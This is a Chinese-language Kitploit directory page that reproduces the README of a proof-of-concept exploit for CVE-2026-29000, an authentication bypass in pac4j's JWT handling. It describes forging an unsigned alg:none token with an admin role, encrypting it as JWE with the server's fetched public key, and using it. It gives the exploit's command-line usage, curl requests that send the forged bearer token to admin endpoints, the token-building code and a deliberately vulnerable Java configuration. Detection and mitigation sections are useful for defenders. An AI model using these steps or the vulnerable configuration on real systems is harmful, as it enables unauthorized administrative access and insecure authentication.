Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-29000 — CVE-2026-29000的Python POC和漏洞利用 | Kitploit
工具/GitHubGitHub/c0gnit00/cve-2026-29000
身份验证与授权Payload生成漏洞分析漏洞利用Web应用程序漏洞利用密码学渗透测试学习与教育
GitHubc0gnit00/cve-2026-29000

CVE-2026-29000

CVE-2026-29000的Python POC和漏洞利用

查看仓库
153个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-29000: pac4j JWT 认证绕过 PoC

概念验证 用于 CVE-2026-29000 - pac4j JWT 实现中的一个严重认证绕过漏洞,允许攻击者在没有有效签名的情况下伪造管理员令牌。


⚠️ 免责声明

此工具仅用于教育和授权安全测试目的。作者对任何滥用、损坏或非法使用此漏洞利用不承担任何责任。

  • 未经授权访问计算机系统在大多数司法管辖区是非法的
  • 用户必须获得明确的书面许可才能进行测试
  • 作者对因滥用此工具而产生的任何后果概不负责
  • 这是一个安全研究和教育工具 - 请合乎道德且合法地使用

📋 漏洞概述

该漏洞利用了 pac4j JWT 认证机制中的一个缺陷,其中库:

  1. 接受无签名令牌,其 JWT 头部包含 alg: "none"
  2. 信任 JWE 包装的令牌,而未正确验证内部 JWT 签名
  3. 通过未签名有效载荷中的自定义声明允许角色提升

攻击者可以构建一个带有任意声明(如 role: "ROLE_ADMIN")的未签名 JWT,使用服务器的公钥将其加密到 JWE 容器中,从而获得对管理员功能的未授权访问。


🎯 成功利用的前提条件

服务端要求

要使此漏洞利用成功,目标服务器必须满足所有以下条件:

1. 可访问的 JWKS 端点

服务器必须通过以下端点之一公开其公钥:

  • /.well-known/jwks.json(标准 OAuth/OIDC 端点)
  • /api/auth/jwks(自定义端点)

原因: 漏洞利用会自动获取服务器的公钥以加密伪造的 JWE 令牌。

2. JWT 角色声明接受

服务器必须:

  • 接受并处理 JWT 有效载荷中的 role 声明
  • 至少有一个授予提升访问权限的权限级别(例如 ROLE_ADMIN)
  • 不验证 JWT 签名或不允许未签名令牌

常见角色:

  • ROLE_ADMIN - 完全管理访问权限
  • ROLE_USER - 标准用户访问权限
  • 取决于应用程序的自定义角色

3. JWE 令牌处理

服务器必须:

  • 接受 JWE(加密)令牌作为有效认证
  • 解密并处理内部的未签名 JWT
  • 不验证内部 JWT 的签名或检查算法

4. 存在漏洞的 pac4j 配置

应用程序必须使用 pac4j,且:

  • 算法设置为 "none" 或算法验证不充分
  • 启用了 JWE 加密但禁用了内部 JWT 的签名验证
  • 除了 JWE 解密外,没有额外的令牌验证

🛠️ 安装

要求

  • Python 3.7+
  • 必装包:requests、jwcrypto

设置

root@kitploit:~
# 克隆仓库
git clone https://github.com/yourusername/CVE-2026-29000.git
cd CVE-2026-29000

# 安装依赖
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests>=2.28.0
jwcrypto>=1.4.0

🚀 使用

基本用法

root@kitploit:~
python3 exploit.py <TARGET_URL>

示例:

root@kitploit:~
python3 exploit.py http://vulnerable-app.local:8080

脚本将:

  1. 尝试从标准端点获取 JWKS
  2. 生成一个带有 role: "ROLE_ADMIN" 的未签名 JWT
  3. 使用服务器的公钥加密它
  4. 输出一个可用于认证的 JWE 令牌

高级选项

自定义用户名

root@kitploit:~
python3 exploit.py http://vulnerable-app.local:8080 --username john

自定义角色

root@kitploit:~
python3 exploit.py http://vulnerable-app.local:8080 --role ROLE_MODERATOR

手动提供 JWKS

如果 JWKS 端点不可公开访问,请手动提供 JWK:

root@kitploit:~
python3 exploit.py http://vulnerable-app.local:8080 \
  --jwk '{"keys":[{"kty":"RSA","n":"...","e":"AQAB"}]}'

带所有选项的完整示例

root@kitploit:~
python3 exploit.py http://vulnerable-app.local:8080 \
  --username hacker \
  --role ROLE_ADMIN \
  --jwk '{"keys":[{...}]}'

📤 使用生成的令牌

漏洞利用输出格式如下的 JWE 令牌:

root@kitploit:~
Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0...

进行认证请求

在 HTTP 请求中使用该令牌访问受保护端点:

root@kitploit:~
# 使用 curl
curl -H "Authorization: Bearer <JWE_TOKEN>" \
  http://vulnerable-app.local:8080/api/admin/dashboard

# 使用 Python requests
import requests
headers = {"Authorization": f"Bearer {jwe_token}"}
response = requests.get("http://vulnerable-app.local:8080/api/admin", headers=headers)

带 Authorization 头的请求示例

root@kitploit:~
curl -H "Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0..." \
  http://vulnerable-app.local:8080/api/users/list

🔍 漏洞利用原理

步骤 1:创建未签名的 JWT

root@kitploit:~
header = {"alg": "none", "type": "JWT"}
payload = {
    "sub": "admin",              # 用户名
    "role": "ROLE_ADMIN",        # 权限级别
    "iss": "principal-platform", # 签发者
    "iat": 1234567890,          # 签发时间
    "exp": 1234571490           # 过期时间(1小时)
}

JWT 创建时没有签名(alg: "none"),这通常无效但会被存在漏洞的服务器接受。

步骤 2:获取服务器的 JWKS

漏洞利用查询:

  1. /.well-known/jwks.json(OAuth/OIDC 标准)
  2. /api/auth/jwks(自定义端点)

这将检索服务器用于加密的 RSA 公钥。

步骤 3:将 JWT 加密为 JWE

未签名的 JWT 使用以下方式加密:

  • 算法: RSA-OAEP-256(非对称加密)
  • 加密: A128GCM(认证加密)
  • 密钥: 服务器的公钥(防止篡改)

这会创建一个服务器可以解密但不会验证内部签名的 JWE 令牌。

步骤 4:使用令牌

JWE 令牌包含在 Authorization 头中:

root@kitploit:~
Authorization: Bearer <JWE_TOKEN>

存在漏洞的服务器解密它并提取出未签名的 JWT,信任声明而不验证签名。


🔐 漏洞链

root@kitploit:~
未签名 JWT (alg:none)
         ↓
  包装为 JWE(使用服务器公钥)
         ↓
  服务器接收 JWE 令牌
         ↓
  服务器解密 JWE
         ↓
  提取内部未签名 JWT
         ↓
  ❌ 服务器未验证签名
         ↓
  ✅ 接受声明为有效(role: ROLE_ADMIN)
         ↓
  攻击者获得管理员访问权限!

⚠️ 检测与指标

服务端漏洞指标

  1. JWKS 端点暴露

    • 检查 /.well-known/jwks.json 或 /api/auth/jwks 是否可公开访问
  2. JWT 验证日志

    • 查找接受包含 alg: "none" 的令牌的日志
    • 关于接受未签名令牌的警告
  3. 配置审查

    • 检查 pac4j 的签名验证是否已禁用
    • 验证 JWE 解密设置

网络指标

root@kitploit:~
# 信息收集
curl -s http://target:8080/.well-known/jwks.json | jq .
curl -s http://target:8080/api/auth/jwks | jq .

# 检查是否接受 JWE 令牌
curl -H "Authorization: Bearer eyJ..." http://target:8080/api/protected

🛡️ 缓解与修复

对于使用 pac4j 的开发者

  1. 强制签名验证

    root@kitploit:~
    // 错误 - 接受未签名令牌
    JwtAuthenticator jwt = new JwtAuthenticator();
    jwt.setAlgorithm(null); // ❌ 存在漏洞
    
    // 正确 - 要求有效签名
    JwtAuthenticator jwt = new JwtAuthenticator(publicKey);
    jwt.setAlgorithmsAllowedForSigning(Arrays.asList("RS256")); // ✅ 安全
    
  2. 验证 JWT 算法

    • 绝不接受 alg: "none"
    • 白名单允许的算法(例如 RS256、HS256)
    • 拒绝算法不匹配的令牌
  3. 如非必要,禁用 JWE

    • 如果认证只需要 JWT,禁用 JWE 包装
    • 如果需要 JWE,独立验证内部 JWT 签名
  4. 更新 pac4j

    • 应用安全补丁
    • 更新到默认启用签名验证的版本
  5. 添加令牌验证层

    • 验证令牌过期时间(exp 声明)
    • 验证签发者(iss 声明)
    • 对照受信任数据库交叉引用角色

对于系统管理员

  1. 限制 JWKS 端点访问

    root@kitploit:~
    location /.well-known/jwks.json {
        allow 10.0.0.0/8;  # 仅内部网络
        deny all;
    }
    
  2. 监控认证日志

    • 对包含 alg: "none" 的令牌发出警报
    • 标记来自非预期来源的管理员角色分配
  3. 网络分段

    • 隔离认证服务器
    • 将 JWKS 端点限制为授权客户端
  4. 定期安全审计

    • 审查 pac4j 配置
    • 对认证机制进行渗透测试

📊 测试环境

存在漏洞的配置示例

root@kitploit:~
@Configuration
public class SecurityConfig {
    
    @Bean
    public JwtAuthenticator jwtAuthenticator() {
        JwtAuthenticator authenticator = new JwtAuthenticator();
        // ❌ 存在漏洞:无签名验证
        authenticator.setAlgorithmsAllowedForSigning(null);
        authenticator.setJwtClaimsValidation(false);
        return authenticator;
    }
    
    @Bean
    public JWEEncrypter encrypter() {
        // 接受 JWE 但不验证内部 JWT
        return new JWEEncrypter();
    }
}

📚 参考资料

  • CVE ID: CVE-2026-29000
  • 受影响库: pac4j(JWT 模块)
  • 攻击向量: 通过未签名 JWT + JWE 加密绕过认证
  • CVSS 评分: 9.8(严重)

相关资源

  • pac4j GitHub 仓库
  • JWT 最佳实践
  • OWASP JWT 速查表

⚖️ 法律免责声明

此漏洞利用仅用于教育和授权安全测试目的。

未经授权访问计算机系统是非法的。 此工具仅应用于:

  • 您拥有的系统
  • 获得明确书面许可的系统
  • 授权的渗透测试任务

作者对因使用此工具而导致的滥用或损害不承担任何责任。


📝 许可证

MIT 许可证 - 详情请参阅 LICENSE 文件


👥 贡献

发现错误?有改进建议?

  1. Fork 仓库
  2. 创建特性分支(git checkout -b feature/improvement)
  3. 提交更改(git commit -m '添加改进')
  4. 推送到分支(git push origin feature/improvement)
  5. 打开拉取请求

📞 支持

如有问题、疑问或建议:

  • 在 GitHub 上打开 Issue
  • 包含 pac4j 的目标版本
  • 附上相关日志和配置

最后更新时间: 2026 年 5 月
作者: 安全研究团队
状态: 教育性 PoC

下载工具